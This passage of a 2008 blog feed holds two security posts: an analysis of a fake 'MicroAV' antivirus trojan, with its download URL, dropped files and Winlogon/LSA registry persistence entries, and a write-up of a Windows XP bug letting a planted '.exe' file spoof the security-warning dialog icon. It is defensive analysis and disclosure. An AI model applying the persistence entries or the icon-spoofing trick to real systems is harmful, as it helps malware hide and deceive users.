the malware creator needs to do is modify the downloader or use a new one and there he goes again infecting the entire planet and getting away with it!&lt;/p&gt;&lt;p&gt;Now &quot;3913574.exe&quot; downloaded http://www.cxgr.com/Setup_ver1.1400.0.exe&lt;br /&gt;Which is not packed by a known packer and even isn&#39;t identified as having a &quot;packed entropy&quot; by PEiD. Its a small application compiled by ms vc++ 7/8, 72kb.&lt;br /&gt;Its import table it quite limited and it calls GetProcAddress to get:&lt;br /&gt;SetProcessPriorityBoost, WriteFile, GetEnvironmentVariableA, InternetOpenA, ExitProcess, GetTempPathA, InternetCloseHandle, CloseHandle, TerminateProcess, CreateFileA, DeleteFileA,SHChangeNotify, lstrcpyA, lstrcpyn, InternetGetConnectedState, GetAdaptersInfo&lt;br /&gt;SetThreadPriority, GetModuleFileNameA, Sleep, ShellExecuteEx, InternetOpenUrlA&lt;br /&gt;&lt;br /&gt;Of course the strings are not plaintext and its also not XOR, how refreshing!!! its a nice code that identified a header byte and multiples the bytes with a word per this header, may be it is some kind of little compression.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Now more then 10 executables are downloaded into your system, some are detected by some AV&#39;s and some are not, they are packed with Armadillo v1.71 and some with ASPack v2.12&lt;br /&gt;http://www.virustotal.com/he/analisis/7e8af73b605c1c82d0d990d204e12559&lt;br /&gt;http://www.virustotal.com/he/analisis/f60edd90989cd53b73dfedd4df4d3aec&lt;br /&gt;http://www.virustotal.com/he/analisis/6f0ab356e2bd80d4845fdb5ebbe619e1&lt;br /&gt;http://www.virustotal.com/he/analisis/11232e1cf52a2c68b4f28815e7eedb60&lt;br /&gt;&lt;br /&gt;These executables are saved in:&lt;br /&gt;%programfiles%\MicroAV&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;MicroAV.exe&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;%windir%\PCHealthCenter&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;1.exe, 2.exe, 3.exe, 4.exe, 5.exe, 7.exe&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;and of course to %windir%\system32&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;MicroAV.cpl, apgambly.dll, biqwetjd.dll and three dlls with names of a 8 random [a-zA-Z0-9] string&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;About 5-6 entries are added to registry-&gt;Run to load the processes that bug you in the system tray. This home made looking trojan is much more advanced then it appears to be...&lt;br /&gt;Clearly these evil guys are advancing and they don&#39;t stop at loading from registry-&gt;Run&lt;br /&gt;they start using advanced loading methods such as registering as Authentication Packages to be loaded inside LSA and as logon notification dlls to be loaded inside winlogon.exe(which is one of the best places to be in since it cannot be terminated)&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\yayxuSIb]&lt;br /&gt;&quot;Asynchronous&quot;=dword:00000001&lt;br /&gt;&quot;DllName&quot;=&quot;yayxuSIb.dll&quot;&lt;br /&gt;&quot;Impersonate&quot;=dword:00000000&lt;br /&gt;&quot;Logon&quot;=&quot;o&quot;&lt;br /&gt;&quot;Logoff&quot;=&quot;f&quot;&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]&lt;br /&gt;&quot;Authentication Packages&quot;=hex(7):6d,00,73,00,76,00,31,00,5f,00,30,00,00,00,43,\&lt;br /&gt;00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,00,5c,00,73,00,79,00,\&lt;br /&gt;73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,6c,00,6a,00,4a,00,44,00,57,00,4d,\&lt;br /&gt;00,64,00,41,00,00,00,00,00</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/8873739007022285294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/8873739007022285294' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8873739007022285294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8873739007022285294'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/09/so-common-and-yet-evil-goes-free.html' title='SO Common and yet EVIL goes free :)'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkDour3vUg6oJWCKLSjWsnxq_wOIqU7BxBcTpF6y5Dbw-Uf4UXEg0j6yMc1Adzh1gKP3ZvcfpzGHB6FlH2hCnRa-rdUbvRPO2RD-VhGQTyKupuy-sVyZa9fiurUNlPaH-bEoWSLfGvjf4o/s72-c/antiviruses.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-7133409132447704462</id><published>2008-09-07T15:02:00.000-07:00</published><updated>2008-09-13T14:25:12.823-07:00</updated><title type='text'>Windows &quot;Open File - Security Warning&quot; Dialog</title><content type='html'>Not so long ago, I found one of the most bizzar bugs. It seems there is some kind of bug in the parsing of the command line read from the registry for filetype handled by explorer.exe. This was checked on Windows XP SP3 but I guess it existst in SP2 too. This bug allows controling the icon which appears in the &quot;Open File - Security Warning&quot; Dialog for all the executables downloaded from the internet.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Each time you download a file from the internet/intranet to a drive with NTFS file system an ADS (Alternate Data Stream) ini file which is called &quot;Zone.Identifier&quot; is created. This hidden ini file specifies the zone file came from, this can be the internet or the local network (intranet).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can see it using the following in cmd: &lt;blockquote&gt;more &lt; exe_from_internet.exe:Zone.Identifier&lt;/blockquote&gt;&lt;div&gt;The ini will be printed to the screen:&lt;br /&gt;[ZoneTransfer]&lt;br /&gt;ZoneId=3&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;When you &quot;click&quot; (shellexecute) a file which his handler is explorer.exe then the Zone.Identifier is checked and if the zone is 3 (internet) the following screen appears:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg23tnikGzWp7-hDsCMLRvl-WCRuN8HXT0o2hKMeDaHypGhgJgOSO45ans5d79xP6mJJpmKZgm8REByaJB-bYTYpAXtheBT2SB2rFVk8X0ft5My8rn9HgQDIJcQmThyphenhyphenGQJV7PTjU-WUACIt/s1600-h/regular.JPG&quot;&gt;&lt;img id=&quot;BLOGGER_PHOTO_ID_5243427129837904834&quot; style=&quot;FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand&quot; alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg23tnikGzWp7-hDsCMLRvl-WCRuN8HXT0o2hKMeDaHypGhgJgOSO45ans5d79xP6mJJpmKZgm8REByaJB-bYTYpAXtheBT2SB2rFVk8X0ft5My8rn9HgQDIJcQmThyphenhyphenGQJV7PTjU-WUACIt/s400/regular.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Well it appears that each time you try to open an executable that came from the internet, the icon that will apear in this dialog will be parsed from an executable file called &quot;.exe&quot; or &quot;%1&quot; in any directory of the &quot;PATH&quot; environment variable for the user running explorer.exe, for example:&lt;br /&gt;&lt;br /&gt;c:\.exe&lt;br /&gt;c:\windows\.exe&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj27IsPQcapncVE5aosHJFlnGhcEnmWptH1Babe0akz67V_eA1P6wjA2-ezZrnn0Ym2-s-nFDA1C2QFfL0Dl7FrwQA8SjVxxh6eHqGkQiOWhhptGdtJJ28RpgyWBVGQTwVmTzdtyfvNm-e6/s1600-h/bug.JPG&quot;&gt;&lt;img id=&quot;BLOGGER_PHOTO_ID_5243429341710910146&quot; style=&quot;FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand&quot; alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj27IsPQcapncVE5aosHJFlnGhcEnmWptH1Babe0akz67V_eA1P6wjA2-ezZrnn0Ym2-s-nFDA1C2QFfL0Dl7FrwQA8SjVxxh6eHqGkQiOWhhptGdtJJ28RpgyWBVGQTwVmTzdtyfvNm-e6/s400/bug.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;you can create such a file using &quot;cmd /c type c:\windows\system32\calc.exe &gt; c:\windows\.exe&quot;&lt;br /&gt;or write a code to use CreateFile :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;The file request is FASTIO_NETWORK_QUERY_OPEN and the icon is cached in memory until explorer.exe process is terminated. If you want to further explore this case, here is the call stack:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvUbeWWkaPMW-o-wuy-ae3ZzcSvpqwmm_qJX302rhr4qWeycScKiQVRZsi9h87DhfktldIFlmLEpVxIA42QWGCGMGmrkWPl7aWtJSIU03iSla2AtNhpFf5_rOZ1BkdoyGhcJH617t3X5Oc/s1600-h/callstack.JPG&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlP6b-uqzewnMeP8vh_W3CD0RpTdfGc2-Jr_4F0373oN7eTgpGysCE0qKmgJ1f4pGi3gSr-4OWbG6tjuNIQw8Gt8icqhGNSPw5lnCM8MAyDdGUImaPjYWvxmGfzJxDFQwL4eTakmVEW0jw/s1600-h/callstack.GIF&quot;&gt;&lt;img id=&quot;BLOGGER_PHOTO_ID_5243446845275241202&quot; style=&quot;FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand&quot; height=&quot;477&quot; alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlP6b-uqzewnMeP8vh_W3CD0RpTdfGc2-Jr_4F0373oN7eTgpGysCE0qKmgJ1f4pGi3gSr-4OWbG6tjuNIQw8Gt8icqhGNSPw5lnCM8MAyDdGUImaPjYWvxmGfzJxDFQwL4eTakmVEW0jw/s400/callstack.GIF&quot; width=&quot;417&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/7133409132447704462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/7133409132447704462' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/7133409132447704462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/7133409132447704462'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/09/windows-open-file-security-warning.html' title='Windows &quot;Open File - Security Warning&quot; Dialog'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg23tnikGzWp7-hDsCMLRvl-WCRuN8HXT0o2hKMeDaHypGhgJgOSO45ans5d79xP6mJJpmKZgm8REByaJB-bYTYpAXtheBT2SB2rFVk8X0ft5My8rn9HgQDIJcQmThyphenhyphenGQJV7PTjU-WUACIt/s72-c/regular.JPG" height="72" width="72"/><thr:total>0</thr:total></entry></feed>